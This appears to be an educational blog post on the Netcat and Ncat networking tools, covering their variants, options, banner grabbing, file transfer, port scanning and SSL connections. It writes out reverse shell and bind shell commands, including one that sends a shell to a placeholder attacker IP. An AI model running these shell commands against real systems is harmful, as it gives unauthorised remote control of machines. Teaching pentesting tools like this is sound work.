Intro to Netcat
When it comes to networking and pentesting, Netcat (often shortened to nc
) is known as the Swiss Army Knife of networking. It can read and write data across TCP and UDP connections, making it useful for everything from banner grabbing to file transfers, from simple debugging to creating backdoors.
I’m writing this post because Ncat/Netcat is an important tool, but I found that while platforms like TryHackMe have some great resources, other blogs are often incomplete, outdated, or outright incorrect. This post aims to bring everything together in one place — both the traditional nc
and the modern ncat
— with detailed explanations.
What is Netcat?
Netcat is a command-line networking tool that can:
- Connect to remote hosts and ports (client mode).
- Listen for incoming connections (server mode).
- Transfer files.
- Set up simple chat sessions.
- Provide remote shells (with the
-e
option in older builds).
Because of its flexibility, it’s often referred to as a Swiss Army Knife for networking tasks.
See the posts in repo,for .md file www.github.com/Nighty-Sky/blog/ for cheat-sheet.
Netcat Variants
nc.traditional
→ The original version, still available on some Linux distributions. Supports the infamous-e
option.netcat-openbsd
→ A safer reimplementation; it removes the dangerous-e
feature by default.ncat
→ A modern reimplementation, maintained by the Nmap Project. Supports SSL, proxies, connection brokering, and access control.
nc.traditional
Help Output
Running nc.traditional -h
shows:
connect to somewhere: nc [-options] hostname port[s] [ports] … listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as `-e’; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h this cruft -i secs delay interval for lines sent, ports scanned -k set keepalive option on socket -l listen mode, for inbound connects -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -q secs quit after EOF on stdin and delay of secs -s addr local source address -T tos set Type Of Service -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -C Send CRLF as line-ending -z zero-I/O mode [used for scanning]
Key Options Explained
-l
→ Listen mode, to accept incoming connections.-p
→ Specify the local port.-v
→ Verbose output (use twice for extra details).-n
→ Skip DNS lookups (numeric IPs only).-u
→ UDP mode instead of TCP.-w
→ Timeout for connects and reads.-z
→ Zero-I/O mode, useful for port scanning.-e
/-c
→ Execute a program after connection (dangerous; removed in OpenBSD’s version).
Common Use Cases
1. Simple TCP Client
nc example.com 80
Connects to port 80 (HTTP) and allows you to type raw requests manually.
- Banner Grabbing
nc -v target.com 21
Attempts a connection to FTP (port 21) and often reveals service banners (useful for identifying services and versions).
- File Transfer
On the receiver machine:
nc -l -p 8888 > file.txt
On the sender machine:
nc target_ip 8888 < file.txt
Quick file transfer without FTP/SSH.
- Reverse Shell
Attacker (listening):
nc -lvnp 4444
Victim:
nc attacker_ip 4444 -e /bin/bash
Gives the attacker a shell when the victim connects back.
- Bind Shell
Victim (listening):
nc -lvnp 4444 -e /bin/bash
Attacker:
nc victim_ip 4444
Reverse Shell vs Bind Shell (Quick Diagram)
Bind Shell → Victim opens a port, attacker connects in.
[Attacker] –> Connects –> [Victim Listening]
Reverse Shell → Victim connects back to attacker’s listener.
[Victim] –> Connects –> [Attacker Listening]
- Port Scanning
Although Nmap is the industry standard for port scanning, Netcat can also be used for basic scans. With the -z (zero-I/O) option, Netcat will attempt to connect to ports without sending any data, making it useful for a quick check of open ports. Combine this with -v (verbose) to see which ports respond.
Example – Scan a range of ports:
nc -zv target.com 20-1000
-z → Zero-I/O mode (just checks if port is open).
-v → Verbose mode (tells you what’s happening).
20-1000 → Port range to scan.
Output will look something like:
Connection to target.com 22 port [tcp/ssh] succeeded! Connection to target.com 80 port [tcp/http] succeeded!
This quickly shows open ports, but remember — it’s slower and less feature-rich than Nmap. Still, it’s handy when Nmap isn’t available.
What About Ncat?
While Netcat remains widely used, Ncat (from the Nmap project) adds features like:
SSL/TLS support → Encrypted communication.
Proxy support → Works with SOCKS4, SOCKS5, or HTTP proxies.
Connection brokering → Multiple clients can share data.
Access control → Use –allow / –deny to restrict connections.
Chat mode → Built-in multi-user chat.
Example (SSL connection):
ncat --ssl example.com 443
Security Considerations
Using -e to spawn shells is extremely risky — many modern builds disable it.
Always restrict listening ports with firewalls when running in server mode.
Remember: tools like Netcat are double-edged swords — invaluable for sysadmins and pentesters, but also abused by attackers.
✅ In summary: Netcat (and Ncat) are must-know tools for anyone learning pentesting or networking. They’re simple, lightweight, and extremely powerful when combined with other techniques.